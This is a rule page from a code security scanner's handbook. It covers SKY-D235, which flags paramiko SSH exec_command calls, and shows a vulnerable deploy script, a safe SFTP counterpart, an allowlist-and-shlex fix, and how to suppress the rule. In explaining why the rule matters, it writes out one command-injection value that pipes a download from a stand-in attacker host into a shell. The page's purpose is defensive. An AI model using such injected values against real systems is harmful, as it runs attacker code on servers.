Skip to main content

SKY-D235 · Security in code

Remote command execution over SSH

HighCWE-78

exec_command() on an SSH client such as paramiko's SSHClient runs a command string through the login shell of another machine. SKY-D235 marks every such call for review, whatever its argument, because the command runs with the remote account's rights.

Languages
Python
Quality gate
counted toward the gate limits (full and diff scans)
Finding type
review
Catalog name
Remote command execution sink
Wrong result? Report itA false positive, a missed case or a confusing message: it goes privately to the founder.

Why it matters

Deploy and admin scripts often hold SSH keys for production servers. If any part of the command string can be influenced, for example a service name typed into a chat bot, web; curl evil.example | sh runs on every server the script reaches.

What Skylos flags

ops/deploy.py · PythonReported on line 8
import paramiko  def restart_service(host, service):    client = paramiko.SSHClient()    client.load_system_host_keys()    client.connect(host, username="deploy")    _, stdout, _ = client.exec_command(f"sudo systemctl restart {service}")    status = stdout.channel.recv_exit_status()    client.close()    return status

What Skylos leaves alone

ops/deploy.py · Python
import paramiko  def fetch_log(host, local_path):    client = paramiko.SSHClient()    client.load_system_host_keys()    client.connect(host, username="deploy")    sftp = client.open_sftp()    sftp.get("/var/log/app/app.log", local_path)    sftp.close()    client.close()

Why Skylos leaves it alone

The same SSH connection is used, but only to copy a file over SFTP. No command string is sent to a remote shell, so there is nothing for this rule to review.

How Skylos decides

  1. Resolves each call's name through imports and earlier assignments, so client = paramiko.SSHClient() followed by client.exec_command(...) becomes paramiko.SSHClient.exec_command.
  2. Reports HIGH for every call whose name ends in .exec_command, on any receiver, with a fixed or a built command alike. The rule is a review marker for remote command execution, not a taint check.
  3. The taint check for the same call is SKY-D212: it reports CRITICAL when request data, input() or a function parameter reaches the command string.

How to fix it

Run only commands from a fixed list, check every value against an allowlist, and quote the command with shlex.join(). The call is still reported, because the rule marks every remote command, so record the review on the line once it is safe.

ops/deploy.py · Python · the fix, against the flagged file
Added: import shlexAdded:  import paramiko Added: SERVICES = {"web", "worker"} Added:  def restart_service(host, service):Added:     if service not in SERVICES:Added:         raise ValueError(f"unknown service: {service}")    client = paramiko.SSHClient()    client.load_system_host_keys()    client.connect(host, username="deploy")Removed:     _, stdout, _ = client.exec_command(f"sudo systemctl restart {service}")Removed:     status = stdout.channel.recv_exit_status()Added:     cmd = shlex.join(["sudo", "systemctl", "restart", service])Added:     _, out, _ = client.exec_command(cmd)  # skylos: ignore[SKY-D235] allowlistedAdded:     status = out.channel.recv_exit_status()    client.close()    return status

When it can be wrong

  • A fixed command such as client.exec_command("uptime") is reported too: the rule does not look at the argument.
  • Any method named exec_command on a non-SSH object, such as a project's own job runner, is reported.
  • The same line often also gets SKY-D212 when a parameter or request value reaches the command. That is a separate finding.

Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.

How to silence it

  • Mark a reviewed call on its own line and say why it is safe. A bare # noqa does not hide HIGH security findings.

    Python
    _, out, _ = client.exec_command("uptime")  # skylos: ignore[SKY-D235] fixed command
  • Accept the findings you already have with skylos baseline ., then scan with --baseline so only new ones are listed.

  • [tool.skylos] ignore = ["SKY-D235"] turns the rule off for the whole project. SKY-D212 still reports tainted commands.

From the Skylos rule handbook, Skylos 5.8.0 (commit 5b880b0). All rules.